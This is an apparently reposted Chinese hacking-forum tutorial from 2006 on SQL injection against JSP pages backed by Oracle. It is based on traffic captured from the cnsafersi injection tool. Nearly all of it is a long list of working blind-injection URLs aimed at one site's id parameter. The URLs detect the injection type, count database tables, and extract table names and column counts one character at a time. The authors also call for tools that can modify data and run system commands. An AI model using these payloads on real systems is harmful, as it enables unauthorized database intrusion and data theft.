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中华网络安全联盟 >> 数据库 >> Oracle >> JSP+ORACLE注入方法整理v1.0
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  • JSP+ORACLE注入方法整理v1.0
    字体:

    中华网络安全联盟    作者:佚名    来源:网络转载    时间:2006-3-23

    大家好 ,我们是pt007和solaris7,QQ:7491805/564935,欢迎高手前来交流:)。

    首先感谢华仔和他的朋友Hotkey为大家开发的cnsafersi 注入工具,没有这个工具就没有本文,HEHE,本文是对cnsafersi 注入工具抓包后所获得的数据进行了分析和整理,文章写的比较仓促,有不足之处欢迎同行指正。另外希望有高手开发出功能更加强大的JSP注入程序,cnsafersi目前仅有select的功能,建议新的JSP注入工具中能加入insert/delete/update/backup/上传/执行系统命令等功能,可以参考NBSI的功能进行开发。参考文章:《如何开发CnSaferSI》。

    首先介绍本文中所使用的工具之JSP注入利器:华仔和他的朋友Hotkey开发的cnsafersi,关于使用方法近期我会写一个详细的使用教程:

    下面以上图中的AD表为例来说明JSP+ORACLE注入的过程:

    1、 判断注入类型(数字型还是字符型)

    字符型和数字型数据判断:(希望有人能进一步的细化,细分为数字型和字符型判断两部分)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And user>char(0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And user<char(0)

    http://www.test.net/index_kaoyan_view.jsp?id=117' And user>char(0) And '1'='1

    http://www.test.net/index_kaoyan_view.jsp?id=117' And user<char(0) And '1'='1

    http://www.test.net/index_kaoyan_view.jsp?id=117' And user>char(0) And '%25'='

    http://www.test.net/index_kaoyan_view.jsp?id=117' And user<char(0) And '%25'='

    http://www.test.net/index_kaoyan_view.jsp?id=117) And user>char(0) And 1 in(1

    http://www.test.net/index_kaoyan_view.jsp?id=117) And user<char(0) And 1 in(1

    http://www.test.net/index_kaoyan_view.jsp?id=117') And user>char(0) And (' ')=('

    http://www.test.net/index_kaoyan_view.jsp?id=117') And user<char(0) And (' ')=('

    http://www.test.net/index_kaoyan_view.jsp?id=117 And str(98)>str(97)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And str(98)<str(97)

    http://www.test.net/index_kaoyan_view.jsp?id=117' And str(98)>str(97) And '1'='1

    http://www.test.net/index_kaoyan_view.jsp?id=117' And str(98)<str(97) And '1'='1

    http://www.test.net/index_kaoyan_view.jsp?id=117' And str(98)>str(97) And '%25'='



    http://www.test.net/index_kaoyan_view.jsp?id=117' And user<char(0) And '%25'=

    http://www.test.net/index_kaoyan_view.jsp?id=117' And str(98)<str(97) And '%25'='

    http://www.test.net/index_kaoyan_view.jsp?id=117) And str(98)>str(97) And 1 in(1

    http://www.test.net/index_kaoyan_view.jsp?id=117) And str(98)<str(97) And 1 in(1

    http://www.test.net/index_kaoyan_view.jsp?id=117') And str(98)>str(97) And (' ')=('

    http://www.test.net/index_kaoyan_view.jsp?id=117') And str(98)<str(97) And (' ')=('



    出现正常的页面:

    http://www.test.net/index_kaoyan_view.jsp?id=117 And USER>CHR(0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And USER<CHR(0)
    2、 猜解表数量和表名

    数据库数量为3:

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) http://www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) http://www.test.net/index_kaoyan_view.jsp?id=117 And 3=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) http://www.test.net/index_kaoyan_view.jsp?id=117 And UNISTR(1)>UNISTR(0)


    以下为猜解数据表数量

    数据表第一位为:1

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))



    数据表第二位为:3

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 53=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 53>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))


    数据表第三位为:1
    http://www.test.net/index_kaoyan_view.jsp?id=117 And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 54=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 54>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))



    共有131个数据表,见上图。

    以下为猜解表名称:

    以下为判断第一个表的长度为:2

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 3=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 3>nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 2=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)



    以下为判断第一个表的第一位值为:A

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),1,1))



    以下为判断第一个表AD的第二位值为:D

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 78=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 78>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 71=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 71>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 68=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))



    以下为判断第二个表的表ADER的表名长度为:4

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 3=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 3>nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 4=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)



    以下为判断第二个表ADER第一位的值为:A

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),1,1))



    以下为判断第二个表ADER第二位的值为:D
    http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 78=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 78>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 71=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 71>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 68=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))



    以下为判断第二个表ADER第三位的值为:E
    http://www.test.net/index_kaoyan_view.jsp?id=117 And 68=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 79=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 79>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 73=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 73>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 73>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 70=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 70>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 69=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))



    以下为判断第二个表ADER第四位的值为:R

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 69=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 80=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 80>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 80>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 85=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 85>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 82=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))

    以下为判断第三个表的表名长度为:

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=3)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=3)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=3)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)



    3、 猜解列名长度和列名:

    a) 以下为猜解字段长度为:2位

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 3=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 3>nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 2=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)



     列名长度为:10位以上

    以下猜解列名的长度的第一位为:1(十位)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),1,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),1,1))



    以下猜解列名长度的第二位为:0(个位)
    http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 77=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    Informational 10/12/2005 15:03:25 Suspect event: ICMP Time Exceeded (> 1 for 1 seconds)

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 77>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 70=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 70>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 67=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 67>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 65>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

    http://www.test.net/index_kaoyan_view.jsp?id=117 And 109=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))

